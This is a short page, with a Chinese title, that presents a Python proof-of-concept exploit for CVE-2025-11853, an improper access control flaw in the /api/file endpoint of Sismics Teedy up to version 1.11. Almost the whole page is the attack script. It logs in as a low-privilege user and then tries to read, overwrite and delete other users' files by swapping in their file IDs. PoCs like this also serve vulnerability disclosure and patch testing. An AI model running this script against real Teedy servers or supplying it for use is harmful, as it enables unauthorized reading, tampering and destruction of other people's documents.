CVE-2025-11853：Sismics Teedy API端点访问控制不当漏洞

# CVE-2025-11853 PoC - Sismics Teedy Improper Access Control # Target: /api/file endpoint in Sismics Teedy <= 1.11 # Description: Exploits improper access controls in the API file endpoint import requests # Target configuration TARGET_URL = "http://target-teedy-instance.com" API_ENDPOINT = "/api/file" # Attacker credentials (low-privilege account) USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain session token session = requests.Session() login_url = f"{TARGET_URL}/api/user/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code == 200: token = response.json().get("token") print(f"[+] Authentication successful, token obtained") else: print("[-] Authentication failed") exit(1) # Step 2: Exploit improper access control on /api/file # Attempt to access/modify files without proper authorization headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Example: Access another user's file by manipulating the file ID target_file_id = "TARGET_FILE_ID_HERE" exploit_url = f"{TARGET_URL}{API_ENDPOINT}/{target_file_id}" # Attempt unauthorized file access response = session.get(exploit_url, headers=headers) if response.status_code == 200: print(f"[+] Unauthorized access successful!") print(f"[+] File data: {response.text}") else: print(f"[-] Access denied, status code: {response.status_code}") # Example: Attempt unauthorized file modification modify_data = { "title": "Modified Title", "description": "Unauthorized modification" } response = session.put(exploit_url, headers=headers, json=modify_data) if response.status_code == 200: print(f"[+] Unauthorized modification successful!") # Example: Attempt unauthorized file deletion response = session.delete(exploit_url, headers=headers) if response.status_code == 200: print(f"[+] Unauthorized deletion successful!")